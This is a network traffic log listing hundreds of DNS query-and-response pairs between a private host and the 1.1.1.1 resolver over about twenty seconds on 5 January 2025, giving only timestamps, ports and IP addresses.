Jan 5, 2025 10:50:59.264492989 CET	53	54677	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.367049932 CET	49830	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.373899937 CET	53	49830	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.374815941 CET	64115	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.384032011 CET	53	64115	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.444735050 CET	53719	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.707490921 CET	53	53719	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:59.710510969 CET	61736	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:59.973180056 CET	53	61736	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.038755894 CET	61165	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.069242001 CET	53	61165	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.071736097 CET	57446	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.094124079 CET	53	57446	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.147861958 CET	57064	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.170619965 CET	53	57064	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.234512091 CET	62635	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.241620064 CET	53	62635	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.245187998 CET	63927	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.252211094 CET	53	63927	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.319856882 CET	50327	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.336786032 CET	53	50327	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.343065023 CET	60318	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.353342056 CET	53	60318	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.417805910 CET	63582	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.430381060 CET	53	63582	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.433370113 CET	53273	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.450939894 CET	53	53273	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.519654036 CET	51715	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.538598061 CET	53	51715	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.593811035 CET	59084	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.600965023 CET	53	59084	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.604437113 CET	63635	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:00.611669064 CET	53	63635	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:00.868937016 CET	54985	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.137639046 CET	53	54985	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.140945911 CET	63931	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.172524929 CET	53	63931	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.241486073 CET	51440	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.250155926 CET	53	51440	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.255546093 CET	53630	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.290044069 CET	53	53630	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.357601881 CET	55621	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.367672920 CET	53	55621	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.371521950 CET	49593	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.380002975 CET	53	49593	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.445811033 CET	55203	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.454982996 CET	53	55203	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.460551977 CET	62740	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.499327898 CET	53	62740	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.555620909 CET	52801	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.601550102 CET	53	52801	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.604178905 CET	53328	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.640146971 CET	53	53328	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.695177078 CET	62467	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.716849089 CET	53	62467	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.719232082 CET	64244	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:01.730309010 CET	53	64244	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:01.789112091 CET	61941	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:02.571350098 CET	53	61941	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:02.574647903 CET	53143	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:02.854255915 CET	53	53143	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:02.913809061 CET	50350	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:02.925091982 CET	53	50350	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:02.928061962 CET	55981	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:02.940310955 CET	53	55981	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:02.991712093 CET	59517	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:03.009102106 CET	53	59517	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:03.293072939 CET	57156	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:03.300209999 CET	53	57156	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:03.302203894 CET	51725	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:03.311193943 CET	53	51725	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:03.401283026 CET	58845	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:03.683343887 CET	53	58845	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:03.701721907 CET	63638	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:03.793776035 CET	53	63638	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:03.852284908 CET	60575	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:03.863269091 CET	53	60575	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:03.866005898 CET	64332	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:03.910836935 CET	53	64332	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:03.976042986 CET	57392	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:04.843947887 CET	53	57392	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:04.848196030 CET	54970	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:05.786484957 CET	53	54970	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:05.851895094 CET	51866	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:06.631778955 CET	53	51866	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:06.635418892 CET	52006	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:06.906552076 CET	53	52006	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:06.961190939 CET	60135	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:06.972563982 CET	53	60135	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:06.975709915 CET	51371	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:06.983179092 CET	53	51371	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.038469076 CET	58358	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.047607899 CET	53	58358	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.052882910 CET	50323	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.068537951 CET	53	50323	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.132797956 CET	61829	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.144083977 CET	53	61829	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.148881912 CET	57608	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.204382896 CET	53	57608	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.257721901 CET	54525	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.309298038 CET	53	54525	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.311798096 CET	52686	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.319051027 CET	53	52686	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.384884119 CET	53193	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.480318069 CET	53	53193	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.484888077 CET	56560	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.668736935 CET	53	56560	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.726452112 CET	59507	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.735694885 CET	53	59507	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.790642023 CET	60800	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.797827959 CET	53	60800	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.800957918 CET	52120	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.809515953 CET	53	52120	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.866770029 CET	63009	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:07.959616899 CET	53	63009	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:07.963021040 CET	63283	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:08.146717072 CET	53	63283	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:08.210807085 CET	57903	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:08.228298903 CET	53	57903	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:08.298269033 CET	62289	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:08.305552006 CET	53	62289	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:08.308751106 CET	55892	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:08.316140890 CET	53	55892	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:08.366631985 CET	54050	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:09.148878098 CET	53	54050	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:09.152044058 CET	58917	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:09.339231968 CET	53	58917	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:09.399096012 CET	52125	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:10.174369097 CET	53	52125	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:10.177544117 CET	57590	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:10.271400928 CET	53	57590	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:10.319864035 CET	56911	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:10.503007889 CET	53	56911	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:10.506318092 CET	56175	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:10.598284960 CET	53	56175	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:10.649157047 CET	62254	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:10.954441071 CET	53	62254	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:10.957386971 CET	55295	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.228869915 CET	53	55295	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.291999102 CET	62130	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.302253008 CET	53	62130	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.307876110 CET	56458	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.347366095 CET	53	56458	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.398269892 CET	55453	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.410016060 CET	53	55453	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.412120104 CET	52949	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.421147108 CET	53	52949	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.478991985 CET	54293	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.497370958 CET	53	54293	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.500089884 CET	55251	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.507437944 CET	53	55251	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.570919037 CET	62867	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.605845928 CET	53	62867	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.608511925 CET	54907	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.618033886 CET	53	54907	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.679989100 CET	53204	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.783893108 CET	53	53204	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.786339998 CET	49694	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.810645103 CET	53	49694	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.867711067 CET	58080	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.876579046 CET	53	58080	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.880898952 CET	61366	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.902265072 CET	53	61366	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.961483955 CET	62235	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.988116980 CET	53	62235	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:11.990468025 CET	51123	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:11.999178886 CET	53	51123	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.054531097 CET	55013	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.161082029 CET	53	55013	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.164838076 CET	53304	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.271184921 CET	53	53304	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.321463108 CET	54234	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.329859018 CET	53	54234	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.332442045 CET	59783	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.341187000 CET	53	59783	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.398000002 CET	61310	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.407560110 CET	53	61310	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.409730911 CET	52362	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.419001102 CET	53	52362	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.478163004 CET	58683	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.487739086 CET	53	58683	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.492785931 CET	57006	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.503824949 CET	53	57006	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.554188013 CET	57352	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.573081017 CET	53	57352	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.581684113 CET	56085	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.590667009 CET	53	56085	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.593461037 CET	63836	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.602292061 CET	53	63836	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.648269892 CET	55948	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.677128077 CET	53	55948	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.684057951 CET	49392	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.701581955 CET	53	49392	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.757709980 CET	58963	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.774530888 CET	53	58963	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.776928902 CET	58512	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.784394979 CET	53	58512	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.835530043 CET	64908	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.852385998 CET	53	64908	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.855041981 CET	64133	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:12.864142895 CET	53	64133	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:12.913541079 CET	55845	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:13.049668074 CET	53	55845	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:13.056164026 CET	63094	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:13.160727978 CET	53	63094	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:13.211028099 CET	56730	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:13.396785021 CET	53	56730	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:13.401446104 CET	51306	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.177380085 CET	53	51306	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.226756096 CET	52577	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.237358093 CET	53	52577	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.351835012 CET	51953	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.358872890 CET	53	51953	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.393228054 CET	49942	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.402005911 CET	53	49942	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.514058113 CET	58922	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.533607006 CET	53	58922	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.597177982 CET	54206	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.604258060 CET	53	54206	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.694886923 CET	60451	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.703037977 CET	53	60451	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.705858946 CET	53309	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.713022947 CET	53	53309	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.757436037 CET	54216	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.768276930 CET	53	54216	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.770934105 CET	65266	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.790414095 CET	53	65266	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.836935997 CET	51060	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.848352909 CET	53	51060	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.881587029 CET	59263	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.888647079 CET	53	59263	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.891678095 CET	63405	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.898933887 CET	53	63405	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.945053101 CET	62292	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.964464903 CET	53	62292	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.974060059 CET	59929	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.981282949 CET	53	59929	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:14.983639002 CET	63764	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:14.992362976 CET	53	63764	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.039026976 CET	59078	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.058469057 CET	53	59078	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.068500996 CET	56022	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.075426102 CET	53	56022	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.077836990 CET	65087	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.084899902 CET	53	65087	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.132497072 CET	63107	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.141390085 CET	53	63107	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.152734995 CET	59505	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.160276890 CET	53	59505	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.161564112 CET	55196	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.168730021 CET	53	55196	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.227718115 CET	53228	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.490545988 CET	53	53228	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.503843069 CET	60055	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.538775921 CET	53	60055	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.585748911 CET	63498	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.611975908 CET	53	63498	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.623253107 CET	55668	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.632592916 CET	53	55668	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.635129929 CET	53605	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.645440102 CET	53	53605	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.695256948 CET	53585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.716159105 CET	53	53585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.718641043 CET	54780	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.740183115 CET	53	54780	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.789176941 CET	61050	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.798540115 CET	53	61050	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.802022934 CET	57402	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.809137106 CET	53	57402	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.868072987 CET	60756	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.878778934 CET	53	60756	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.883697033 CET	56133	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.899905920 CET	53	56133	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.945105076 CET	62293	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.954411983 CET	53	62293	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:15.957194090 CET	59661	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:15.972734928 CET	53	59661	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.023062944 CET	56485	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.041284084 CET	53	56485	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.050921917 CET	54071	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.058078051 CET	53	54071	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.060169935 CET	50463	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.067428112 CET	53	50463	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.116796017 CET	53538	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.136245012 CET	53	53538	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.210930109 CET	59166	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.218069077 CET	53	59166	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.267023087 CET	62602	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.275125027 CET	53	62602	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.382646084 CET	51826	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.395559072 CET	53	51826	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.399905920 CET	54284	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.408816099 CET	53	54284	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.460860968 CET	55034	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.517976046 CET	53	55034	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.522173882 CET	54933	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.579519033 CET	53	54933	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.648391008 CET	50857	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.656961918 CET	53	50857	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.659605980 CET	61538	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.669203997 CET	53	61538	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.726366043 CET	63131	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.735363007 CET	53	63131	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.767554045 CET	62485	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.776704073 CET	53	62485	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.820229053 CET	57548	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.829354048 CET	53	57548	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.852739096 CET	58285	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.861166954 CET	53	58285	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:16.914614916 CET	62856	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:16.923342943 CET	53	62856	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.090425968 CET	49473	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.098262072 CET	53	49473	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.220072985 CET	52305	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.227616072 CET	53	52305	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.311755896 CET	54212	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.339543104 CET	53	54212	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.360555887 CET	50545	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.367676020 CET	53	50545	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.434524059 CET	63613	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.457962036 CET	53	63613	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.531363010 CET	61110	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.539448023 CET	53	61110	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.540468931 CET	64194	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.548506021 CET	53	64194	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.600914001 CET	50311	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.620311975 CET	53	50311	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.680130959 CET	52189	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.687077999 CET	53	52189	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.721204996 CET	65142	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.730866909 CET	53	65142	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.773154020 CET	61713	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.792722940 CET	53	61713	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.856050014 CET	62470	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.862900972 CET	53	62470	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.873006105 CET	55759	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.880184889 CET	53	55759	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.930068970 CET	65332	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:17.939219952 CET	53	65332	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:17.963170052 CET	60386	53	192.168.2.4	1.1.1.1
